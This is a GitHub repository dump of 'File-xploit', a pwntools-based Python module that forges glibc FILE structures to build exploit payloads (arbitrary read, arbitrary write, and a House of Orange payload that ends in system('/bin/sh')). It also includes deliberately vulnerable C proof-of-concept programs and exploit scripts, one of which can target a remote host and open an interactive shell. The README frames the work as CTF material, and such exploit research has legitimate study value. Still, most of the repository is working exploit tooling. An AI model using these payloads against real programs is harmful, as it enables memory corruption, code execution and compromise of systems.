├── FilePointer.py ├── PoC ├── inp ├── orange │ ├── chall │ ├── chall.c │ ├── exploit.py │ └── libc.so.6 ├── read │ ├── .gdb_history │ ├── core │ ├── exploit_read.py │ ├── inp │ ├── peda-session-read.txt │ ├── read │ └── read.c └── write │ ├── .gdb_history │ ├── exploit.py │ ├── inp │ ├── write │ └── write.c ├── README.md ├── img ├── file_1.png ├── file_2.png └── file_3.png └── install.py /FilePointer.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | r""" 3 | File Structure Exploitation 4 | 5 | struct FILE (_IO_FILE) is the structure of File Streams. This offers various targets for exploitation on an existing bug in the code. Examples - _IO_buf_base and _IO_buf_end for reading data to arbitrary location. 6 | 7 | Remembering the offsets of various structure members while faking a FILE structure can be difficult, so this python class helps you with that. Example- 8 | 9 | >>> context.clear(arch='amd64') 10 | >>> fileStr = FileStructure(null=0xdeadbeef) 11 | >>> fileStr.vtable = 0xcafebabe 12 | >>> payload = str(fileStr) 13 | 14 | Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe 15 | """ 16 | 17 | from __future__ import absolute_import 18 | from __future__ import division 19 | 20 | from pwnlib.context import context 21 | from pwn import * 22 | 23 | length = 0 24 | size = 'size' 25 | name = 'name' 26 | 27 | variables = { 28 | 0: { 29 | name: '_flags', 30 | size: length 31 | }, 32 | 1: { 33 | name: '_IO_read_ptr', 34 | size: length 35 | }, 36 | 2: { 37 | name: '_IO_read_end', 38 | size: length 39 | }, 40 | 3: { 41 | name: '_IO_read_base', 42 | size: length 43 | }, 44 | 4: { 45 | name: '_IO_write_base', 46 | size: length 47 | }, 48 | 5: { 49 | name: '_IO_write_ptr', 50 | size: length 51 | }, 52 | 6: { 53 | name: '_IO_write_end', 54 | size: length 55 | }, 56 | 7: { 57 | name: '_IO_buf_base', 58 | size: length 59 | }, 60 | 8: { 61 | name: '_IO_buf_end', 62 | size: length 63 | }, 64 | 9: { 65 | name: '_IO_save_base', 66 | size: length 67 | }, 68 | 10: { 69 | name: '_IO_backup_base', 70 | size: length 71 | }, 72 | 11: { 73 | name: '_IO_save_end', 74 | size: length 75 | }, 76 | 12: { 77 | name: '_markers', 78 | size: length 79 | }, 80 | 13: { 81 | name: '_chain', 82 | size: length 83 | }, 84 | 14: { 85 | name: '_fileno', 86 | size: 4 87 | }, 88 | 15: { 89 | name: '_flags2', 90 | size: 4 91 | }, 92 | 16: { 93 | name: '_old_offset', 94 | size: length 95 | }, 96 | 17: { 97 | name: '_cur_column', 98 | size: 2 99 | }, 100 | 18: { 101 | name: '_vtable_offset', 102 | size: 1 103 | }, 104 | 19: { 105 | name: '_shortbuf', 106 | size: 1 107 | }, 108 | 20: { 109 | name: 'unknown1', 110 | size: -4 111 | }, 112 | 21: { 113 | name: '_lock', 114 | size: length 115 | }, 116 | 22: { 117 | name: '_offset', 118 | size: 8 119 | }, 120 | 23: { 121 | name: '_codecvt', 122 | size: length 123 | }, 124 | 24: { 125 | name: '_wide_data', 126 | size: length 127 | }, 128 | 25: { 129 | name: '_freeres_list', 130 | size: length 131 | }, 132 | 26: { 133 | name: '_freeres_buf', 134 | size: length 135 | }, 136 | 27: { 137 | name: '__pad5', 138 | size: length 139 | }, 140 | 28: { 141 | name: '_mode', 142 | size: 4 143 | }, 144 | 29: { 145 | name: '_unused2', 146 | size: length 147 | }, 148 | 30: { 149 | name: 'vtable', 150 | size: length 151 | } 152 | } 153 | 154 | defaults = ['_chain', '_lock', '_wide_data'] 155 | 156 | 157 | def get_defaults(null): 158 | var = {} 159 | for i in defaults: 160 | var[i] = null 161 | return var 162 | 163 | 164 | def update_var(l): 165 | var = {} 166 | for i in variables: 167 | var[variables[i]['name']] = variables[i]['size'] 168 | for i in var: 169 | if var[i] <= 0: 170 | var[i] += l 171 | if l == 4: 172 | var['_unused2'] = 40 173 | else: 174 | var['_unused2'] = 20 175 | return var 176 | 177 | 178 | def packit(s, l=8): 179 | if l == 0: 180 | return '' 181 | return hex(s)[2:].rjust(2 * l, '0').replace('L', 182 | '').decode('hex')[::-1].ljust( 183 | l, '\x00' 184 | ) 185 | 186 | 187 | class FileStructure(dict): 188 | r""" 189 | Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set. 190 | 191 | Arguments: 192 | null(int) 193 | A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc) 194 | 195 | Examples: 196 | 197 | FILE structure with _flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d 198 | 199 | >>> context.clear(arch='amd64') 200 | >>> fileStr = FileStructure(null=0xdeadbeeef) 201 | >>> fileStr._flags = 0xfbad1807 202 | >>> fileStr._IO_buf_base = 0xcafebabe 203 | >>> fileStr._IO_buf_end = 0xfacef00d 204 | >>> payload = str(fileStr) 205 | 206 | check the length of the FileStructure 207 | 208 | >>> len(fileStr) 209 | 224 210 | 211 | payload for stuff till 'v' where 'v' is a structure. This payload includes 'v' as well. Example payload for data uptil _IO_buf_end 212 | 213 | >>> payload = fileStr.struntil("_IO_buf_end") 214 | 215 | Reading data into arbitrary memory location. Example for reading 100 bytes from stdin into the address 0xcafebabe 216 | 217 | >>> context.clear(arch='amd64') 218 | >>> fileStr = FileStructure(0xdeadbeef) 219 | >>> payload = fileStr.read(addr=0xcafebabe, size=100) 220 | 221 | Writing data out from arbitrary memory address. Example for writing 100 bytes to stdout from the address 0xcafebabe 222 | 223 | >>> context.clear(arch='amd64') 224 | >>> fileStr = FileStructure(0xdeadbeef) 225 | >>> payload = fileStr.write(addr=0xcafebabe, size=100) 226 | 227 | Perform a House of Orange, provided you have libc leaks. For example if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe - 228 | 229 | >>> context.clear(arch='amd64') 230 | >>> fileStr = FileStructure(0xdeadbeef) 231 | >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe) 232 | """ 233 | 234 | vars_ = [] 235 | length = {} 236 | arch = 'amd64' 237 | 238 | def __init__(self, null=0): 239 | self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())] 240 | self.update({v: 0 for v in self.vars_}) 241 | self.update(get_defaults(null)) 242 | self['_offset'] = 0xffffffffffffffff 243 | self.arch = context.arch 244 | if self.arch == 'i386': 245 | self.length = update_var(4) 246 | self['_old_offset'] = 0xffffffff 247 | else: 248 | self.length = update_var(8) 249 | self['_old_offset'] = 0xffffffffffffffff 250 | 251 | def __setattr__(self, item, value): 252 | if item in FileStructure.__dict__: 253 | object.__setattr__(self, item, value) 254 | else: 255 | self.set_vars(item, value) 256 | 257 | def __getattr__(self, item): 258 | return self[item] 259 | 260 | def __setitem__(self, item, value): 261 | if item not in self.vars_: 262 | log.error("Unknown variable %r" % item) 263 | return super(FileStructure, self).__setitem__(item, value) 264 | 265 | ''' 266 | This defination for __repr__ to order the structure members. Useful when viewing a structure objet in python/IPython shell 267 | ''' 268 | 269 | def __repr__(self): 270 | d = self.sort_str() 271 | return "{" + "\n".join((" %r: %s" % (k, hex(v))) for k, v in d) + "}" 272 | 273 | def __len__(self): 274 | return len(str(self)) 275 | 276 | def __str__(self): 277 | structure = '' 278 | for val in self.vars_: 279 | if type(self[val]) is str: 280 | if self.arch == 'i386': 281 | structure += self[val].ljust(4, '\x00') 282 | else: 283 | structure += self[val].ljust(8, '\x00') 284 | else: 285 | structure += packit(self[val], self.length[val]) 286 | return structure 287 | 288 | def sort_str(self): 289 | d = self.items() 290 | d.sort(key=lambda x: self.vars_.index(x[0])) 291 | return d 292 | 293 | def set_vars(self, item, value): 294 | self[item] = value 295 | 296 | def struntil(self, v): 297 | if v not in self.vars_: 298 | return '' 299 | structure = '' 300 | for val in self.vars_: 301 | if type(self[val]) is str: 302 | if self.arch == 'i386': 303 | structure += self[val].ljust(4, '\x00') 304 | else: 305 | structure += self[val].ljust(8, '\x00') 306 | else: 307 | structure += packit(self[val], self.length[val]) 308 | if val == v: 309 | break 310 | return structure[:len(structure) - 1] 311 | 312 | def write(self, addr=0, size=0): 313 | self['_flags'] &= ~8 314 | self['_flags'] |= 0x800 315 | self['_IO_write_base'] = addr 316 | self['_IO_write_ptr'] = addr + size 317 | self['_IO_read_end'] = addr 318 | self['_fileno'] = 1 319 | return self.struntil('_fileno') 320 | 321 | def read(self, addr=0, size=0): 322 | self['_flags'] &= ~4 323 | self['_IO_read_base'] = 0 324 | self['_IO_read_ptr'] = 0 325 | self['_IO_buf_base'] = addr 326 | self['_IO_buf_end'] = addr + size 327 | self['_fileno'] = 0 328 | return self.struntil('_fileno') 329 | 330 | def orange(self, io_list_all, vtable): 331 | if self.arch == 'amd64': 332 | self['_flags'] = '/bin/sh\x00' 333 | self['_IO_read_ptr'] = 0x61 334 | self['_IO_read_base'] = io_list_all - 0x10 335 | else: 336 | self['_flags'] = 'sh\x00' 337 | self['_IO_read_ptr'] = 0x121 338 | self['_IO_read_base'] = io_list_all - 0x8 339 | self['_IO_write_base'] = 0 340 | self['_IO_write_ptr'] = 1 341 | self['vtable'] = vtable 342 | return self.__str__() 343 | 344 | 345 | if __name__ == '__main__': 346 | from doctest import testmod 347 | from IPython import embed 348 | context.arch = 'amd64' 349 | q = FileStructure(null=0xdeadbeef) 350 | testmod() 351 | embed() 352 | -------------------------------------------------------------------------------- /PoC/inp: -------------------------------------------------------------------------------- 1 | qwerty 2 | -------------------------------------------------------------------------------- /PoC/orange/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vigneshsrao/File-xploit/0a411200c26f71485aa25e6090db711d6036cb13/PoC/orange/chall -------------------------------------------------------------------------------- /PoC/orange/chall.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | int main() 5 | { 6 | 7 | setbuf(stdin,NULL); 8 | setbuf(stdout,NULL); 9 | void *ptr=malloc(400); 10 | malloc(200); 11 | free(ptr); 12 | printf("Heap leak - %lu\n",(unsigned long)ptr); 13 | printf("libc leak - %lu\n",*(unsigned long*)ptr); 14 | read(0,ptr-8,400); 15 | malloc(0x10); 16 | } 17 | 18 | -------------------------------------------------------------------------------- /PoC/orange/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import sys 3 | 4 | if len(sys.argv)>1: 5 | r=remote(HOST,PORT) 6 | else: 7 | r=process('./chall',env={"LD_PRELOAD":"./libc.so.6"}) 8 | 9 | libc=ELF("./libc.so.6") 10 | 11 | if __name__=='__main__': 12 | 13 | r.recvuntil("Heap leak - ") 14 | heap=int(r.recvuntil("\n").strip()) 15 | r.recvuntil("libc leak - ") 16 | libc.address=int(r.recvuntil("\n").strip())-0x1b2940+0x190 17 | 18 | log.info("heap @ "+hex(heap)) 19 | log.info("libc @ "+hex(libc.address)) 20 | 21 | #gdb.attach(r,'''b*0x080485c6''') 22 | 23 | context.arch='i386' 24 | q=FileStructure(null=heap-4) 25 | payload=q.orange(libc.symbols['_IO_list_all'],heap+0x90) 26 | r.sendline(payload+p32(libc.symbols['system'])*32) 27 | 28 | r.interactive() 29 | -------------------------------------------------------------------------------- /PoC/orange/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vigneshsrao/File-xploit/0a411200c26f71485aa25e6090db711d6036cb13/PoC/orange/libc.so.6 -------------------------------------------------------------------------------- /PoC/read/.gdb_history: -------------------------------------------------------------------------------- 1 | q 2 | fin 3 | x/28xw 0x2115010 4 | fp 0x2115010 5 | ni 6 | pd __isoc99_fscanf 7 | fp 0x2115010 8 | p fp 9 | fp 0x2115010 10 | p &fp 11 | x/xg 0x6010a0 12 | q 13 | x/xg 0x6010a0 14 | q 15 | q 16 | fin 17 | ni 18 | p flag 19 | p &flag 20 | x/10xw 0x6010c0 21 | ni 22 | x/10xw 0x6010c0 23 | x/s 0x6010c0 24 | q 25 | pd main 26 | q 27 | -------------------------------------------------------------------------------- /PoC/read/core: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vigneshsrao/File-xploit/0a411200c26f71485aa25e6090db711d6036cb13/PoC/read/core -------------------------------------------------------------------------------- /PoC/read/exploit_read.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r=process('./read') 4 | 5 | context.arch='amd64' 6 | structure=FileStructure(null=0x6011d0) # Get the file structure 7 | 8 | ''' 9 | The read function will generate the payload for reading data into an arbitrary address. 10 | It's arguments are - 11 | * The address where the data is to be read 12 | * The size of data to be read 13 | ''' 14 | 15 | payload=structure.read(addr=0x6010c0,size=100) # Read into an arbitrary address 16 | r.send(payload.ljust(0x78,'\x00')) 17 | r.sendline("This_is_the_input_at_the_arbitrary_address!") 18 | r.interactive() 19 | print r.recvall() 20 | -------------------------------------------------------------------------------- /PoC/read/inp: -------------------------------------------------------------------------------- 1 | qwerty 2 | -------------------------------------------------------------------------------- /PoC/read/peda-session-read.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /PoC/read/read: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vigneshsrao/File-xploit/0a411200c26f71485aa25e6090db711d6036cb13/PoC/read/read -------------------------------------------------------------------------------- /PoC/read/read.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | FILE* fp; 6 | char* ptr; 7 | char flag[100]; // For this PoC, the aim is to read in arbitrary data into 'flag' 8 | 9 | int main() 10 | { 11 | char buf[100]; 12 | 13 | /* Stimulating a use-after-free with which we can modify the file structure */ 14 | 15 | ptr=malloc(0x200); 16 | free(ptr); 17 | 18 | fp=fopen("inp","rw"); 19 | read(0,ptr,0x78); 20 | fscanf(fp,"%s",buf); 21 | 22 | puts(flag); // This is just to show the current value in 'flag' 23 | } 24 | -------------------------------------------------------------------------------- /PoC/write/.gdb_history: -------------------------------------------------------------------------------- 1 | pd main 2 | start 3 | ni 4 | i variables 5 | qq 6 | q 7 | i variables 8 | x/s 0x0000000000601078 9 | start 10 | ni 11 | x/s 0x0000000000601078 12 | ni 13 | q 14 | -------------------------------------------------------------------------------- /PoC/write/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from FilePointer import * 3 | 4 | r=process('./write') 5 | 6 | context.arch='amd64' 7 | 8 | ''' 9 | The argument to FileStructure is an address containg a null value - In this example a bss address is used 10 | ''' 11 | 12 | structure=FileStructure(null=0x6011d0) 13 | 14 | ''' 15 | The write function will generate the payload for writing data from an arbitrary address. 16 | It's arguments are - 17 | * The address from where the data is to be written (to stdout) 18 | * The size of data to be written 19 | ''' 20 | 21 | payload=structure.write(addr=0x4007d4,size=29) 22 | 23 | r.send(payload.ljust(0x78,'\x00')) 24 | r.interactive() 25 | print r.recvall() 26 | -------------------------------------------------------------------------------- /PoC/write/inp: -------------------------------------------------------------------------------- 1 | qwerty 2 | -------------------------------------------------------------------------------- /PoC/write/write: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vigneshsrao/File-xploit/0a411200c26f71485aa25e6090db711d6036cb13/PoC/write/write -------------------------------------------------------------------------------- /PoC/write/write.c: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | #from FilePointer import * 3 | 4 | r=process('./write') 5 | 6 | context.arch='amd64' 7 | 8 | ''' 9 | The argument to FileStructure is an address containg a null value - In this example a bss address is used 10 | ''' 11 | 12 | structure=FileStructure(null=0x6011d0) 13 | 14 | ''' 15 | The write function will generate the payload for writing data from an arbitrary address. 16 | It's arguments are - 17 | * The address from where the data is to be written (to stdout) 18 | * The size of data to be written 19 | ''' 20 | 21 | payload=structure.write(addr=0x4007d4,size=29) 22 | 23 | r.send(payload.ljust(0x78,'\x00')) 24 | r.interactive() 25 | print r.recvall() 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # File Structure Exploitation 2 | 3 | This python module is for generating payloads to exploit the FILE structure in C. Can be used in CTF challenges. 4 | 5 | ## Install 6 | 7 | This can either be used independently or be used with `pwntools`. To use independently, just place the script in the same directory as your exploit script and add `from FilePointer import *` in the exploit script. 8 | 9 | I have also sent a PR to merge this with pwntools, but till it's merged, you can add it to pwntools locally by either manually placing the python file in the `pwnlib` directory of your python packages and adding `from pwnlib.FilePointer import *` in `pwn/toplevel.py` file in your python packages directory. 10 | 11 | The `install.py` script will automatically do this for you. Just run `python install.py` with root permissions. Yeah, I know the script is pretty ugly and I should have probably used a bash script, but I like python better! 12 | 13 | If you place the script in the pwntools directory or just install it via the `install.py` script, then a `from pwn import *` will let you access this class and it's functions. Enjoy! 14 | 15 | ## Usage 16 | 17 | * **FileStructure(null)** - returns an object that can stimulate the FILE structure in C 18 | 19 | 1. null - an address pointing to null value 20 | 21 | 22 | * **write(addr,size)** - function in FileStructure. Returns payload for writing data from arbitrary address to stdout. Arguments are- 23 | 24 | 1. addr - the address from where the data is to be written out 25 | 1. size - the size of data to be written 26 | 27 | 28 | * **read(addr,size)** - function in FileStructure. Returns payload for reading data to arbitrary address from stdin. Arguments are- 29 | 30 | 1. addr - the address where the data is to be read 31 | 1. size - the size of data to be read 32 | 33 | 34 | * **str(object)** - generate payload from the object of FileStructure. 35 | 36 | * **struntil(memberVariable)** - generate the payload only upto the specified variable. For eg. struntil('fileno') will generate the payload only uptill fileno. All further variable's are ignored. 37 | 38 | * **orange(io\_list\_all, vtable)** - returns a payload for [House of Orange](http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html) exploit (for libc's < 2.24). 39 | 40 | 1. io\_list\_all - address of \_IO\_list\_all 41 | 2. vtable - address of the fake vtable 42 | 43 | **Note -** Set the architecture from `context.arch`. Currently only `i386` and `amd64` architectures have been implemented. 44 | 45 | ## Examples 46 | 47 | ![file_repr](./img/file_1.png) 48 | 49 | Generate the payload with str() 50 | 51 | ![file_str](./img/file_2.png) 52 | 53 | Get the len of the payload 54 | 55 | ![file_len](./img/file_3.png) 56 | 57 | See [PoC](PoC/) for full detailed usage examples 58 | 59 | ## Credits 60 | 61 | Angelboy (@scwuaptx) and his slide's on File Structures - [Play with FILE Structure](http://4ngelboy.blogspot.in/2017/11/play-with-file-structure-yet-another.html) 62 | -------------------------------------------------------------------------------- /img/file_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vigneshsrao/File-xploit/0a411200c26f71485aa25e6090db711d6036cb13/img/file_1.png -------------------------------------------------------------------------------- /img/file_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vigneshsrao/File-xploit/0a411200c26f71485aa25e6090db711d6036cb13/img/file_2.png -------------------------------------------------------------------------------- /img/file_3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vigneshsrao/File-xploit/0a411200c26f71485aa25e6090db711d6036cb13/img/file_3.png -------------------------------------------------------------------------------- /install.py: -------------------------------------------------------------------------------- 1 | from os import system 2 | 3 | try: 4 | import pwn 5 | except ImportError: 6 | print "Please install pwntools first" 7 | quit() 8 | 9 | path=pwn.__file__ 10 | 11 | toedit=path[:-1*(path[::-1].find('/'))]+'toplevel.py' 12 | copypath=path[:-1*(path[::-1].find('/'))].replace('pwn/','pwnlib/') 13 | system('cp ./FilePointer.py '+copypath) 14 | 15 | file=open(toedit).read() 16 | 17 | write=file.find('from pwnlib import *')+len('from pwnlib import *\n') 18 | out=file[:write]+"from pwnlib.FilePointer import *\n"+file[write:] 19 | 20 | open(toedit,'w').write(out) 21 | --------------------------------------------------------------------------------